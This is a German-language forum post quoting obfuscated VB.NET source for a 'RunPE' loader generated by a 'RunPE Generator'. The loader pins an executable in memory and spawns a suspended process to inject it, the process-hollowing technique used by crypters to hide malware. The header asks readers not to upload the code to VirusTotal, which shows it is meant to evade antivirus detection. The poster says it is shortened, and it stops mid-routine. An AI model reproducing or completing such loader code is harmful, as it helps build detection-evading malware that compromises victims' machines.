Zitat:
'----------------------------------------------------------------------------------------- ' Function to Call RunPE is : TpOHArRmqVCNRCcPTneTI - Das ist die Funktion die du callen musst!!!!!!! ' This RunPE was created by RunPE Generator v1.7 for VB.NET by SP7 at 04.10.2010 17:38:44 ' Please don't upload this code to VirusTotal or another site like that bullshit... ' Thanks to: HorstEwald, ShockerZz and t0fx '----------------------------------------------------------------------------------------- Imports System.Runtime.InteropServices Imports System.ComponentModel Public Class JGnVNtPuACitetcCKnEnk Public Const ktfWXASZoTPeuSXTvuRAw As Long = &H200 Public Const gUhstDdGeeknMHckWACTR As Long = &H40 Public Const hspjiMKKPcejqEmXmZOKW As Long = &H80 Public Const MihlsQNmGsMUJahoagcTi As Long = &H20 Public Const nYamGUQSuMrEYwcIOnpdu As Long = &H10 Public Const RNToRXTukcYmnVXaDuGnJ As Long = &H8 Public Const kXjCRgICUVIJUirMGSnnV As Long = &H1 Public Const ONcEbkLfLlnrkHmdrZDAh As Long = &H4 Public Const pCVGmnOKCEVcCdhufgQKt As UInt32 = &H2 Shared Sub TpOHArRmqVCNRCcPTneTI(ByVal VQVvmEvqbTuJwwlBjPqKN() As Byte, ByVal RoXUKGJXReRSOlqSKSbeg As String) Dim seQWVKMCIuwDdKljvZpns = New tFXNKUqGqtrwKGvWPCEeA.XsQOVXtihMYhadqnDIRoM, TTSkqaHPWXtqpSvHaLDKe As tFXNKUqGqtrwKGvWPCEeA.VrZbfklTHVnmWOIrrlPBk, whSdqnovvmVXlkDLfscLw = New tFXNKUqGqtrwKGvWPCEeA.aXLeDrqbmFDIEKvdTCpUL, EMEgOvtGdVhpTgquHIGeX = New tFXNKUqGqtrwKGvWPCEeA.XWUrOGiLNORMAsMgKenei, BMNtZKloEfwuQRHAvlDou = New tFXNKUqGqtrwKGvWPCEeA.dBGvjOoTsveffoCSjsRBJ, HowwuRrvjOMQuNujXCeLV = New tFXNKUqGqtrwKGvWPCEeA.dBGvjOoTsveffoCSjsRBJ Dim IPGnjbYCUMGMbJHWobqBb = GCHandle.Alloc(VQVvmEvqbTuJwwlBjPqKN, GCHandleType.Pinned) Dim EnIMIejgJYaVrvMmPecVt As Integer = IPGnjbYCUMGMbJHWobqBb.AddrOfPinnedObject.ToInt32 Dim fdBOShmLAoIGJVHHDlpeI As New tFXNKUqGqtrwKGvWPCEeA.hEIFHrTPimDCnRRqTNEVO fdBOShmLAoIGJVHHDlpeI = Marshal.PtrToStructure(IPGnjbYCUMGMbJHWobqBb.AddrO fPinnedObject, fdBOShmLAoIGJVHHDlpeI.GetType) IPGnjbYCUMGMbJHWobqBb.Free() If tFXNKUqGqtrwKGvWPCEeA.CreateProcess(Nothing, RoXUKGJXReRSOlqSKSbeg, BMNtZKloEfwuQRHAvlDou, HowwuRrvjOMQuNujXCeLV, False, 4, Nothing, Nothing, EMEgOvtGdVhpTgquHIGeX, whSdqnovvmVXlkDLfscLw) = 0 Then Return Dim LrBGSvWrZFhkGnMLHURfa As New tFXNKUqGqtrwKGvWPCEeA.HSDcnAhYPQFtVcRcfXDBs LrBGSvWrZFhkGnMLHURfa = Marshal.PtrToStructure(New IntPtr(EnIMIejgJYaVrvMmPecVt + fdBOShmLAoIGJVHHDlpeI.IqKTcKOcAPwpCZaOvAPpA), LrBGSvWrZFhkGnMLHURfa.GetType) Dim IqKTcKOcAPwpCZaOvAPpA, jgDVnORHofeaRvVgjGcCM As Long, NWtWBRUkfvMLhUQAXNqLY As UInteger EMEgOvtGdVhpTgquHIGeX.pLlYLVXPWOqtwqLRMUGVk = Len(EMEgOvtGdVhpTgquHIGeX) End Class
Ein wenig gekürzt, da zu lang ;)